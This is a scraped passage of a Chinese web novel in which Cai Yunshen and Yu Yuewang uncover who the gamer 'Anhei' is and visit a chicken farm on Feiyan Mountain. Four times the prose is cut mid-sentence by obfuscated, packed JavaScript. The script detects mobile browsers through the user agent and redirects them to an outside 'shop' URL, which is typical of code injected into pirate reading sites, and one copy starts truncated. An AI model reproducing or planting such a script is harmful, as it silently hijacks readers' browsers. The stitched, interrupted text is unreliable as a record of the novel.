d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17084035|195002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果其他既视感也像这样呢?是她曾造访、曾听过、曾经十分明白,现在一时记不起的。 好多迷雾如影随形,梗在她猴头。有什么就要爆炸,她却不确定要不要问。 如果问了,她和这个人的距离会拉近吗? 为什么一想到这一点,她就本能地抗拒? 自我拉扯中,一路无话。等她反应过来,周围已是熟悉的街景—— 这不是天心附近? 后知后觉地看车上的时钟: 她竟然睡了三个多小时! 难怪于岳望把车从城南都开了回来。 看来旧病真是发作了,这种时间被抽走、她却浑然不知的感觉。线性被打破,她滞留在碎片上。时间永远随心所欲,自顾自往返。 一开始是三个小时,之后呢?十年前也是这样吗?一点一点,越来越严重? 试着回忆过去,那里却只有空白。 倍感挫折的片刻,车开进小区。心情烦躁,便不想再瞻前顾后—— 反正都会忘记,还不如她也随心所欲。 想问的问题很多,第一问必然是: “于岳望,你知道山风吗?” “什么风?” ? 连“什么风”都问出来? 蔡云深没好气:“音乐人山风!《蔷薇山谷》就是他作曲,刚才那家音乐店就有!” “你说山风啊,”男人一副才反应过来的样子,“那个只出了一张专辑就消失的,知道,怎么了?” 语气既不过于惊讶,也不过于镇定。就像山风真的和他没关系。 蔡云深还是要问:“你跟他认识吗?” “不认识,”于岳望想也不想就否认,“怎么,你也是他粉丝?” “什么叫‘也’?” “因为来店里问他可不少。” “是吗?”蔡云深喃喃,“其实,关于他,我也有事想知道。” 男人对此似乎司空见惯:“想知道他为什么不写歌了,对吧?” “不,”蔡云深说着看向身旁人,“想知道他是不是还活着。” 作为试探而言,这一句过激了。但真的与此无关,会觉得这是玩笑话。 于岳望却不然—— 他什么都不再说,只一副心事重重的样子,停车。 21. 欠人情 于岳望首肯,于是三声后两人一起报名字—— 蔡云深:“丁威!” 于岳望:“丁聪聪。” 听到于岳望的说法,蔡云深吃惊:“你说谁?!” “丁聪聪。” 有妇之夫,在网上出轨,把卖老房子得来的钱在游戏里一掷千金、装富二代,又在两年前因为父母去世浪子回头、退出游戏…… 至于那家骗子公司,估计是丁威的狐朋狗友开,他当副业做。一个月前公司跑路,丁威也因此大受打击,所以才顾不上游戏。 这些由她听来的闲话外加自己编造的关于丁威的“事迹”,跟暗黑的线索都能对得上。更别说他还人住天心,跟福娃很熟。 但于岳望却说,是丁聪聪? 也就是说,他用他爸的账号? 倒是有这个可能,但一想到丁聪聪的年龄,蔡云深很难接受: “他一个小学生……” “谁是小学生?”于岳望告诉她,“丁聪聪15岁了好不好,开学念初三!” “什么?!”蔡云深难以置信,“他哪里像15岁了?……等等,”跟于岳望确认,“《水调歌头》这首词,居然进了初三才学?” “是啊,初三上学期语文课本,”答完于岳望奇怪,“你怎么知道他背《水调歌头》?” 蔡云深也不藏着:“都说白宫隔音差了!”随后自言自语,“难怪。” “难怪什么?” 蔡云深:“我之前以为是丁威,但总觉得有些地方很奇怪:偷用福娃的信息,就为了跟小女孩玩手游,这也太幼稚了吧?虽然他是个扶不起的阿斗,好歹也是奔四的人。而且我总觉得暗黑和小唐的互动,透着一股成年人不具备的单纯……原来是丁聪聪。” 现在,她终于明白了暗黑为什么会跟小唐说,“未成年的想法也可以很成熟”。原来不是出于成年人的险恶用心,而是因为他自己本身就是个小屁孩。 又听于岳望说,丁聪聪一开始确实是看到福娃在玩那款手游,并且在他手机上玩过几次,才开始痴迷。因为他爸妈不给他买手机,所以一开始他有时间就缠着福娃—— “就连福娃网恋,我都是从丁聪聪那知道。” 蔡云深闻言大惊:“你、你说你知道福娃网恋……你没透露给别人吧?比如福娃的妈妈,或者,我爸?” “我没透露啊,”于岳望说,“是丁聪聪说的,那段时间天天跟人说他福娃哥哥在网上找女朋友了,所以小区人尽皆知。” 蔡云深这才松了口气: 看来这人只知其然,不知其所以然。福娃悲催的被骗史,他目测不知道。 但是——“丁聪聪连申请身份证的年龄都还没到,怎么注册的游戏?而且,那款手游的侠侣系统好像不对未成年开放。” 于岳望:“这一点小唐不也一样?她虽然有身份证,但上面的年龄可是17岁。” 也是,那么他们两个小鬼是…… 用的别人的身份证? 不仅如此,丁聪聪连手机没有。所以他应该是偷用的别人的手机。那个人跟他关系很亲近,且绝对不是父母,因为注册游戏需要身份证,有时还需要人脸验证。那个愿意配合他做这些的大人对他应当是无条件的宠溺; 而一个月前,那个人出了什么状况,让丁聪聪再不能通过对方登录游戏。 蔡云深一下就联想到: “秀婆婆?!” 于岳望点点头。 去年年末,刘阿姨给秀婆婆买了部智能手机。秀婆婆一直不会用,丁聪聪发现后承诺一定教会她。然而他高估了老年人的学习能力,无论教多少次,秀婆婆还是连电话都接不会。 再后来,丁聪聪在福娃那入坑了手游,一发不可收拾;不仅自己用起了这部手机,还哄秀婆婆拿身份证出来注册了游戏,偷拿回家玩,也没有大人发现。 蔡云深:“然而上个月,秀婆婆在河边摔跤……” “是的,”于岳望说,“确定老人需要住院后,刘阿姨慌忙回来准备她的随身用品,就是这时,才发手机不见了。” 蔡云深哭笑不得:“成熟又神秘的大学生‘暗黑哥哥’之所以突然消失,居然只是因为他失去了手机?” 所以丁聪聪对秀婆婆的病情那么关心。或许一部分是出自真心,但也必定有一部分,是因为他想找机会用秀婆婆的手机再次登录游戏。 道理是说得通,可是—— “你怎么知道得这么清楚?” “因为秀婆婆入院那天,他家会开车的人都在上班,只有刘阿姨在仪表厂,所以人是我送去医院的;”于岳望说,“而第二天,丁聪聪听到风,想打听情况,也是来问的我。被我多问了几句,就全盘托出,还委托我帮他还手机。” 蔡云深震惊:“你连小孩子的人情都赚?” “都说他不小了,15岁,”于岳望指出,“小唐也才比他大两岁。” 这么一对比,蔡云深才有了连背书都会哭的丁聪聪,和早熟细腻的小唐,居然几乎是同龄人的实感。 “所以,你明知道丁聪聪是暗黑,还费那么大劲给我们演什么高科技定位写字楼?” “因为那时我并不能百分百确定,”于岳望却答,“我只知道丁聪聪确实玩小唐那个手游,但不知道他的确切ID,我连他居然用了福娃的信息搞□□号都不知道。但丁威玩梦游这件事我是知道的,听你们那天在茶馆说起,我觉得跟他的情况很像。” 说到这,顺便帮丁威辟谣,说那个新闻报道入狱的那个家伙另有其人,在游戏里跟丁威是好兄弟,之前丁威还帮他练过号。为了打什么团战,两个人连ID都换得差不多。所以应该小唐遇到的玩家,应该是弄混了他们两个。 “丁威两年前之所以改心革面,除了因为父母的事情,还因为这位他在游戏里交到的“大哥”。他说对方的下场简直给他当头棒喝,让他一下就明白了游戏里再辉煌,也是黄粱一梦,现实才是真正的人生。” 至于丁威在梦游跟别人出轨,也是没有的事。他在游戏里一掷千金,确实吸引了不少女玩家。但丁威这个人别的不行,爱妻是真的——至少据他说是。 “更何况还有丁聪聪这位严厉的监督员:他爸玩游戏,只要周末节假日,他都会旁观,还时不时登录他账号。但凡哪个女玩家私信多说了几句,他就会找丁威闹,还去给他妈汇报,说注意点你老公,再不管着,他都要在游戏里跟人外遇了。” “顺便说一句,他当时最反感的一个女玩家,就是泰川的粉丝。当年那档音综正火,每次比赛她都要缠着丁威让他鼓动帮会给泰川投票,后来被丁聪聪拉黑。”于岳望道。 道完这些缘故,他又说起那天在茶馆。他一下甚至试着用秀婆婆的手机号搜索,却没找出什么暗黑,所以无法验证。 “但你们却找到那家投资公司附近——碰巧我知道,那是丁威朋友搞的公司。丁聪聪他妈妈金雨虹,之前因为丁威的关系去了那家公司做行政。所以暑假的时候,丁聪聪被带去那写过作业。” 丁聪聪爸妈之所以冷战,也是因为那家公司: 两个月前,金雨虹察觉到公司有问题,想辞职。讲哥们儿义气的丁威却不相信,说她多心了。还说像她这样农村出身、没有文凭的女人,要不是因为有他朋友,怎么可能找到这么高薪又轻松的办公室工作,还能把孩子带去照看。 “两个人因此大吵一架,然后,金雨虹找到了我。” 蔡云深已经习惯到不会太惊讶:“又是你的委托人?” 于岳望嗯一声。 “就是查过那家公司,所以知道地址。又通过你们这边,发现是同一栋写字楼。所以我基本确认了,暗黑就是丁聪聪。” 说到这,于岳望看向蔡云深:“我真的没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122314|195002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有想对你隐瞒的意思,但是福娃和小唐对暗黑好像很反感。我感觉在跟他们坦白前,至少需要先跟你这个牢不可破的同盟通气,要是发生什么,你还能帮我控制局面。” 可不是?现在她那两位同盟,对暗黑,是纯恨。 不得不说,于岳望这个家伙,还挺粗重有细。 但是问题随即也来了: 她要怎么告诉那么信任她的小唐和福娃,真凶竟然是她前不久刚收服的小弟丁聪聪? 想想那场景都尴尬。 问经验者:“要是这一次,从小唐和福娃那里接下委托的是你,你打算怎么跟他们说真相?” “用人情抵消,”这人想都不想就答,“要他们两个保证我说出真相后,不打死那个熊孩子。” 对哦,人情还可以这么用! “问题是,接委托的不是我。”于岳望一句话让她回到现实,“人情没赚到,眼下这情况,只能等待合适的时机开口……”说着还把工给她分了,“小唐那边你看怎么说,福娃交给我就好。” 找时机,也就是说时机来临之前,她需要装作什么都不知道? 一想到要在单纯的小唐面前演戏,蔡云深的内心就过意不去。 见她叹息连连,于岳望奇怪:“你想知道的真相我都告诉你了,还叹什么气?” “我现在宁愿要一颗没有听过真相的脑袋!”蔡云深说着转头观察男人那张扑克脸,“快教教我,要怎么才能做到什么都知道,却在面对当事人时一脸平静、滴水不漏?” 于岳望安静了片刻,答:“假装自己也忘了。” “这要怎么假装!”蔡云深抗议,“记住了就是记住了,想忘也忘不掉的!” 然后,于岳望又不说话了。 这男人每次沉默,都让蔡云深很烦躁:“又装什么深沉?!”说他。 “……没有,”这人道,“我只是在想,你这个样子,明天要怎么上山。” 蔡云深:“上山?上什么山?” “飞燕山啊,你们三个不是打算上去看日落吗?”于岳望道,“之前在写字楼,小唐和福娃约好明天下午就上山。” 看来是在她掉线的时候? 蔡云深努力给自己打气:“没问题,不就是看日落?到时候老娘墨镜一戴,谁也不爱!” 于岳望却质疑:“你确定你真的可以——即使面对暗黑?” 蔡云深如临大敌:“你是说,明天丁聪聪也在山上?” “嗯,他妈换的新工作就在飞燕山上。他作业写完了,被特批上山进行开学前最后的狂欢。” 瞬间压力山大,赶忙用上新盟友: “但你到时候也会去,不是吗?”她说,“要是出现什么我兜不住、圆不了的场面,你帮我不就好了?”说着强调,“我可是你高贵的委托人!” 于岳望再次被逗笑。 今晚笑了很多嘛,心情好? 反正她心情是不错——此刻比在写字楼上吓破胆时好多了。 大概是相处融洽,车门开着,她却还坐在原地。 甚至没话找话:“我长这么大,都还没去过飞燕山。那边没开发过,风景应该很漂亮。”说着感叹,“看日落,正好。在找到新工作前,就当去度假。” “那恐怕你要失望,”身边的男人却说,“那边吵得人烦,现在还到处是蚊子。” 蔡云深无语:“你就不会说点好的?” 于岳望又笑。随即,他发现华点:“你该不会度假结束,就打算去上班吧?” 这句话中听。蔡云深开心,“借君吉言,希望度假结束,我就能找到我这个鬼样子都还能做的工作——能做一天是一天,吃饭嘛,总是最紧要。” 于岳望听完这话,愣了半晌。 “蔡云深。” “嗯?” “你欠我的人情,我想现在就兑现。” 22. 飞燕山 翌日下午,当晕车的蔡云深在飞燕山上的林区落地,面对一群大肆喧嚷、身强体健的跑山鸡,她的心情有些崩溃。 同时崩溃的还有小唐,此刻在树林里一边躲避一边抱怨。 福娃听不了一点:“是你要上飞燕山打卡的,现在好不容易来了,又喊着要回去?” “我怎么知道会是这样?”小唐苦着脸,“这里哪里像落霞峰了?遍地都是鸡!” “鸡怎么了?”随手捞起一只送小唐面前,“你看它,金黄的嘴巴,鲜红的头冠,不是很可爱吗?” “你对可爱有什么误解!”小唐避之不及,“快拿开!” 福娃追着少女,也不知道是真的乐观还是爱捉弄人:“别怕嘛,”他喊,“你先抱抱试试?感情增进后你一定会改变想法!” …… 蔡云深忍着晕车带来的不适独自往凉亭去,刚瘫软地坐下,就见福娃抓着一只鸡追着小唐狂跑,所到之处鸡飞鸡跳,不禁感慨年轻真好。 唯一好的是飞燕山上比山下温度低,昨天又下过雨,今日温度宜人、凉爽无比。空气又好,不然她恐怕自己会更难受。 正坐着等晕车缓过去,事件的男主角丁聪聪登场,拿了顶草帽和一个梨过来: “给你吃。”小男孩说,“听说你晕车,不舒服。” 蔡云深虽然还恶心着,还是感激:“谢啦,放这就好,我待会儿再吃。” “要是实在不想吃,就扔给鸡,”这人说,“草帽也戴上,防晒。” 自己这小弟收的,懂事。 刚这么想,就听小大人问:“那个生日蛋糕是你买的?” “对啊。” 昨晚从于岳望那知道小唐想上山看日落,她就订了个蛋糕。今天蛋糕到了,在后排藏好才去接的小唐,因为想给她弥补,过一个能在飞燕山上看日落的生日。 问聪聪:“蛋糕帮我放冰箱了吗?” “放了……不过,你们谁过生日啊?” 昨晚刚开了天眼的蔡云深心想绝了,这种秘密到嘴边却必须瞒着当事人的感觉。 她努力让自己听起来很自然: “就那个跟我们一起来的女孩子。”她说,“对了,你记得叮嘱他们先不要告诉她蛋糕的事。” “阿望叔叔都打点好了,”丁聪聪说,目光却一直在跟福娃玩耍的少女身上,若有所思,“她是谁啊?” “……我朋友。” “你朋友?”丁聪聪不信,“你是大人,她还是小孩。” “那又怎么样?我们同一个歌迷会的。”倒也不算撒谎。 “谁的歌迷?” “泰川。” 丁聪聪听到这更慌神,心事重重起身。 蔡云深看着男孩离开,想起小唐说,她的照片暗黑看过。 真难受。明知小唐这一趟上山,多半会被丁聪聪认出来,却不知道如何跟对方开口: 要亲手戳破少女情怀,太难了。 不禁佩服起人民警察:听福娃说,给他打视频电话通知噩耗时,他们那叫一个淡定。说是派出所,什么都见过了。 还是像于岳望跟她说的,走一步看一步吧。 心里藏着事,身体就更加不舒服。干脆躺下来,打算养阵神。 不知躺了多久,蔡云深远远听人喊,说西瓜切好了。 没过一会儿,就有人端着瓜往凉亭来。 蔡云深在墨镜的遮掩下偷偷睁眼,就发现来的是于岳望—— 不禁端着瓜,还拿着不知问谁要来的驱蚊水。 到她面前,先用手在她墨镜前晃了晃。确认她还睡着,男人轻声轻脚先把瓜和梨都拿远点,再来帮她把周围都用驱蚊水喷过。 都说他粗中有细呢。 见他忙上忙下,灵感突然就来了。戴着草帽猛地坐起来,原地化身伟大女巫,手握虚有的魔杖指于岳望—— “阿瓦达啃大瓜!”对他大喊。 本想吓他一跳。但男人的表情却没有任何起伏。顶着这张脸,他配合她做出被击中然后身亡的动作。死了不到三秒钟就复活: “你醒了?” 蔡云深太满意这种会接她梗的同辈人:“我就没睡着。”她笑。 “那正好,”于岳望把西瓜递给他,“快来啃大瓜。” 终于从晕车状态缓过劲来的蔡云深坐起身。 “这山上蚊子很猛的,你也真敢躺。”刚接过西瓜,就听于岳望说。 一口甘甜冰凉的西瓜落肚,加上刚才幼稚对垒,蔡云深终于觉得自己活过来,又有力气跟男人斗智斗勇:“真是个怪人。” “?我怎么怪了?” 费时费力解决疑难问题,就为了讨点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122315|195002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人情;讨到又随手乱用。说到底她蔡云深工作与否,跟他这个房东又有什么关系? 而且等她开始沉睡,不用于岳望说,她都只能强制性休息。他这人情,迟早等于白要。 想到这蔡云深说:“把我的人情随便浪费,将来你一定后悔。” “什么叫随便?”于岳望说,“许叔叔最近一直因为这个在我面前唠叨,把我耳朵都念麻了。” 房子不隔音,蔡云深多少听到些。但她还是想知道有什么是她没听闻的: “我爸都唠叨些什么?” “他说你因为当助理工作太累、压力太大,时不时会晕倒。现阶段好不容易辞了职,应该在家好好调养,或者去医院做做检查,而不是立马找新工作。” 蔡云深想,这或许是许江的心声,但会讲给于岳望这样无关的人听,也是在做铺垫? 这样她沉睡症犯,他才能丝滑地接受一切,不会有过多疑问。 于是她也不隐瞒,说出能说的部分:“我确实是状态不太好……最糟的时候上着班也突然失去意识,醒来后不知自己在哪里,到了夜晚又失眠……那天在写字楼就是这样。” “所以我才说不是小事啊。” “但说到底这是我的问题,跟你有什么关系呢?”蔡云深说,“我不懂,对你没有益处的人情兑现来做什么?”你明明最怕麻烦,还说助人是病。 “因为怕麻烦,”这家伙下一句居然就是,“你信不信,你要是出什么问题,许叔叔一定让我帮忙收烂摊子。” 蔡云深被这么说,想反驳,就听他抱怨:“别的不说,光是最近搞卫生就让我很烦。你知不知道,家里现在到处都是你的长头发……要是你不听许叔叔的好好休息,等你30岁一定秃顶。” 什么啊! “我才不会秃顶,30岁不会,到50都不会!”蔡云深说着朝着男人背上就是一拳,“以后我会把头发扎起来!公区卫生我会做!等身体恢复,我就立刻搬走!” 于岳望想都不想:“那最好。” 斗完嘴,蔡云深咬一口西瓜,想真神奇。 自己28岁会死,她总听到冥冥中有声音如语言般这么告诉她。但是现在,她居然在掷地有声地跟一个最近刚认识的男人保证,她50岁都不会秃顶。 就好像到时候她一定会活着,且头发浓密。 23. 喂小鸡 蔡云深刚想吐槽,金雨虹和另一位老人就跟他们笑眯眯打招呼。 两个人都慈眉善目,尤其是那位杨婆婆。蔡云深怎么看怎么眼熟,总觉得是仪表厂家属。 至于金雨虹,她则是久闻其名、初见其人。 小时候,丁威被请家长,告知他在学校早恋,回家被他爸修理了一顿。没气过,还打算聚众教育他,特聘许江和另外两位叔叔前去说教。 结果他们几个没点大人样,丁威他爸前脚离开,他们后脚就装语重心长,给当时还上初中的丁威上课: “女朋友,也不是不能找,问题是你得找漂亮的。” 十来岁的丁威瞬间趾高气昂:“我找的可是我们学校的校花!” ——这件事被蔡美仙拿来给她讲过无数遍,旨在批斗她爸许江和那帮叔叔。教育个孩子都能那么没正经,虽然是别人家的。 而当年那个传说中的校花,就是如今坐她对面、才比她大几岁却已经备显沧桑的女人。此时,她在于岳望的帮助下做好了益生菌,开始跟杨婆婆一起分装饲料和红糖水。 蔡云深也帮忙,顺便闲聊。随即就被告知,杨婆婆以前确实住仪表厂—— “你小时候,我还见过你呢!”老人笑呵呵对她说。 她就知道! 记得杨婆婆的脸,记得金雨虹的名字。燕过必留痕,虽然各有各的模糊,但对她们,她至少有印象。 那么问题又来了: “于岳望,我们两个小时候真的认识?”忍不住问身旁人。 “认识啊。”男人答。 “那你跟我说说小时候的事?我当时太小了,什么都不记得。” 于岳望面无表情地装盘:“我有个变形金刚,你很喜欢,然后……” “停!”蔡云深打断他,“这个我听过了,有没有其他的?” 于岳望想了想,“没有了。那之后没多久,我就进城读小学。” “你小学不是在仪表厂子弟校读?” “不是。” 于岳望是在城里读的书,难怪他们没交集。 蔡云深理解了,却还是觉得这人就像凭空出现的果实,无根无蒂。 在仪表厂,跟同辈人间不说熟三代,至少父母彼此是认识的。 他爸妈是谁?没听过。 或许,他爸妈很忙?那么—— “以前厂里有个归凤婆婆,你认识吗?”蔡云深问他,“就是家长忙起来,会把自家小孩送去她家吃饭那位?” 于岳望:“认识啊。” 果然,“你小时候也去她家吃过饭?” 于岳望还没答话,一旁的金雨虹先笑出来。就连一旁的杨婆婆也跟着笑。 蔡云深不懂她们笑什么,随后就听金雨虹解释:“怎么会不认识?”她说,“阿望就是归凤婆婆的孙子。” 蔡云深以为自己听错:“你说谁?” “说我是张归凤的孙子。”于岳望的语调依旧平淡—— “所以,确切地说,是你小时候来我家吃过饭。” 蔡云深这才想起,归凤婆婆好像是有个孙子,总是在城里,总是不出现。 原来是那个就是于岳望! 许江说701是于岳望奶奶留下的。也就是说,她现在其实住在归凤婆婆家? 还有问题想问,又有电话找于岳望: “久安?……等等,我出去再讲,……” 男人就这么走了,蔡云深也不理他,转而跟金雨虹和杨婆婆闲聊。一问才知道,那个贴福字的老房间在以前灰楼的二栋。后来拆了,盖的‘白宫’。 归凤婆婆的丈夫死得早,留下来独自支撑家庭的她有三个孩子要养,所以正职之外,也在下班后挤时间,做大锅饭赚点熟人餐费。后来孩子养大,又搬进新房,不需要那么累了,她还是闲不下来,继续在701开档。 “你爸和你妈,都是701的食客,”杨婆婆告诉蔡云深,“你们搬进城后,他们两个在天心上班,中午回家太远,就去归凤家解决午饭。” 蔡云深万没想到蔡美仙会被提及:“你是说,我妈妈也去过701?!” “当然了!”杨婆婆回忆,“她尤其喜欢701那个小花园,就连开侧门都是她提议的。还帮着归凤规划种什么花,玫瑰,茉莉,桂花,腊梅……反正要一年四季都要有花香。尤其是玫瑰,归凤和你妈妈都很喜欢,种得最多。她中午来吃饭,还会帮着施肥,浇水。” 蔡云深听得讶然,因为她从没想过,701竟会和蔡美仙有关。 “哎,还是那时候热闹。”叹完声,杨婆婆起来,“你们先忙,我去做晚饭。” 杨婆婆刚离开,金雨虹就告诉蔡云深,老人之所以感叹,是因为嫁进仪表厂后,她交到的最好的三个朋友就是归凤婆婆,秀婆婆,以及丁聪聪她奶奶。从青年到迟暮,这友谊转眼几十年。 蔡云深一下就什么都明白: 这两年,丁聪聪他奶奶和归凤婆婆都离世。眼下秀婆婆又住进医院。 “杨婆婆这段时间就是总担心秀婆婆,感觉她看着都瘦了。”金雨虹说,“不过今天她应该很开心!因为跟你们一起来的那个女孩子,跟她走失的孙女长得特别像!” 蔡云深:“你说小唐?” 金雨虹点头。 原来,杨婆婆有个孙女。多年前失踪,后被证实客死他乡。 “杨婆婆本来就喜欢孩子,因为这层缘故更加。”金雨虹道,“总而言之,她们几个婆婆关系很好,人也好,带大了不少厂里的孩子。” 仪表厂邻里间帮人顾孩子的传统真是延续至今: 不久前,刘阿姨才在跟她说,有了孩子她来带。 蔡云深:“所以丁聪聪跟秀婆婆才那么亲。” “不仅是丁聪聪,”金雨虹笑着告诉她,“就连丁聪聪他爸,也是婆婆们看着长大的!” 说到这父子,蔡云深终于找到人感叹:“丁聪聪和小时候的丁威哥,还真是一个模子印出来!” “可不是?”金雨虹却皱眉头,“长得像就算了,连读书都一个样,不长进,天天就想着怎么玩、怎么耍小聪明!”顺口数落,“他爸更不靠谱!之前我种地卖菜卖得好好的,他非说什么天上有馅饼,让我去当什么白领。结果那公司根本不是什么正经公司!” 话匣子打开,金雨虹告诉蔡云深,这养鸡场是于岳望他三叔开的。三叔还在镇上开了间小饭馆,叫“归凤鸡”,以卤味出名,用的鸡都是自家产。 现在一切进正轨,看着蛮风光,但从无到有那阵可难了,还闹过鸡瘟。 都是于岳望来帮忙,出钱又出力,才咬牙挺过关。 “场子是做起来了,人可不好找:阿望再抵用,也变不成两个。他还有鸿运通要忙。所以三叔就想着找人。叫来一远亲,好像是阿望他表弟?结果那小子跟阿望比差远了,吃不下这份苦,呆了两星期就跑!后来就一直找人,一直不满意,直到我让阿望帮忙调查。” “确定那不是什么好公司后,他问我,要不来试试管鸡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138122|195002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场?我当时就心动了。你是不知道,开始跟丁威商量这事时,他多生气,说什么好不容易才让老婆不当卖菜的、当白领,这下好,又跑去养鸡?他还找阿望闹!结果呢?我才走多久,那公司都没了!” 金雨虹一边装饲料一边说:“所以人啊,还是要找适合的做。什么白领?就像把我锁笼子里!现在多好,山上宽敞,空气清新,还能随时活动手脚!” 说着又把丁威拉出来骂一通,讲他后来知错了,来道歉,又去找阿望求和—— “阿望嘛,当弟弟的,又都在兴隆帮呆过,原谅他多容易?我这关可没那么好过!” 蔡云深本是左耳进右耳出,直到听到“兴隆帮”三个字。 终于对上号: 昨晚在音像店,有人打电话给洪运连抱怨鸡场。现在想来,不就是金雨虹? 于是探问:“鸡场是不是还有另一个兴隆帮的人?以前开拳馆,还坐过牢?” “可不是吗!”说到这人金雨虹就来气,“又是丁威造的孽,莫名其妙带个什么‘兄弟’来,说想跟着学养鸡。结果呢?捉鸡不敢,让他协助绑个鸡,他都没胆子!跟我们说什么,鸡也很可怜?那你学什么杀鸡啊?神经。”金雨虹骂,“幸好今天早上打电话,说是干不了先走了!求之不得!”越说越气,“你就说这丁威,是不是光会给人添堵,讨着骂挨?” 蔡云深单是听都够累,又联系这些年丁威给家人带去的苦,才不管什么劝和不劝分: “要不离婚吧。” 这话一出,金雨虹没了下句。好久才开口: “也不是没想过……但这么多年都熬过来了,现在好不容易日子有盼头。主要是,聪聪还小。” 蔡云深闻言,试着从女人身上找出当年校花的影子。却只看到她这个年纪,就长出白发。 心中惋惜,一阵机车声传进来。 “云深姐姐!”是小唐的声音。 放下手里的活出去一看,只见外面停着辆三蹦子。 福娃掌驾,丁聪聪和另一个小男孩,以及笑得一脸阳光的小唐坐后边。此刻,小唐正冲她招手,手腕上还戴了串茉莉花,也不知谁送的。 “我们去帮忙摘梨,你跟我们一起吗?”小唐开心地问她。 蔡云深看着此刻夹在两个“暗黑”中间的“甜糖”,摆手,“你们去吧!”说着叮嘱,“注意安全!还有,今晚要去看日落,杨婆婆安排了提早开饭,可别晚回来!” 少女少男在笑声中离去,蔡云深则接着忙: 鸡这边搞定,又去给杨婆婆打下手。 转眼到饭点,仍不见那帮小孩。蔡云深出来,刚想给领头的福娃打个电话,先撞见于岳望。 “你这是从哪刨了碳来?”见他一脸脏污,蔡云深惊讶。 “……很脏吗?” 男人说着用手给自己擦,结果更糟了。 蔡云深看不下去,都开始掏纸巾,后面来一小子,说是拿家里新腌的萝卜干来给大家尝尝。 看到他俩,这人招呼于岳望:“哟老大,这你女朋友?” 于岳望想也不想:“我表妹。” 村民被说懵了:“不对啊,你表妹我见过,……” 于岳望直接堵人话:“我表妹多着呢。我妈这边除了我,生的都是女儿,而且都比我小。不然你觉得为什么都叫我老大?” 村民接受了这一点,笑呵呵往厨房去。 等人走了,蔡云深终于能肘击于岳望: “谁有你这种表哥?” 24. 吃晚饭 于岳望振振有词:“我只是降低解释成本,”他说,“碰到一个人就在问,烦都烦死。” 蔡云深:“要烦也是我烦好不好?!” “云深姐!”正说话,远处传来福娃的声音。蔡云深一看,是他带队的童子军回来了。 一同进门的还有另两个人:一个是刚从外边回来的光头员工; 另一个,竟是洪运连,脸上跟于岳望一样脏,耳朵上还别根烟。 这人自来熟,学着福娃称呼她“云深姐”,还殷勤地告诉她,他和老大是去山下枇杷村修了东西来。说完嗅鼻子: “好香啊,这是水煮肉片还是水煮鱼?” “水煮鱼!”蔡云深说着招呼所有人,“快去厨房洗手,然后休息一下吃饭!” 等大家入座,又去后厨,被金雨虹推出来: “你这都帮了一下午忙了,还有两个菜马上好,你也去休息!” 蔡云深这才出来。到露天圆桌看了一圈,都不见小唐。还是丁聪聪告诉她,说小唐姐姐上厕所去。 在小唐的空位旁坐下来,先注意到洪运连那边游戏声大作。 “我靠,第1276关?你疯啦?”光头在旁边看边吐槽。 “这算什么,”洪运连说,“我电脑上对局数9万8!” 光头不解了:“泡泡龙就这么好玩?” 洪运连:“好玩!中学那阵,为了这个我偷偷熬夜!” 今天一路跟着福娃他们去摘梨那个小男孩闻言,问洪运连: “难道是那个三个泡泡颜色一样,就能消掉的游戏?” “对啊对啊!”洪运连开心,“小宝,你也喜欢玩?” “我不玩,但我小时候见我姐姐玩过!” 这句一出,饭桌沉默了。理由蔡云深知道: 这孩子叫王家宝,是杨婆婆的孙子。他的姐姐,自然就是那个已经死掉的孙女。 赶紧打岔,顺着洪运连的话讲自己中学时,也偷偷熬过夜—— “但我不是玩游戏,而是把随身听带上床听电台。” 丁聪聪:“什么是随身听?” 蔡云深竟不知从何说起:“就是一种机器?”生怕丁聪聪跟她要更详细的解释,她继续,“反正那时候,我最喜欢的那档节目是在每晚十一点开始,零点结束。” 福娃好奇:“午夜节目,灵异类?还是情感类?” 蔡云深:“都不是,是热线点歌。” 丁聪聪又来:“什么是热线点歌?” 看着比蔡云深年纪还大的光头告诉他:“就是打电话去电台,然后点自己喜欢的歌!”说着朝蔡云深,“真怀念啊,那种热线我小时候也打过,一次没成功!” 蔡云深笑:“我也是!后来改成短信点歌,我才有且仅有一次,被主持人选中。我到现在都还记得,当时点的是孙燕姿的歌!” 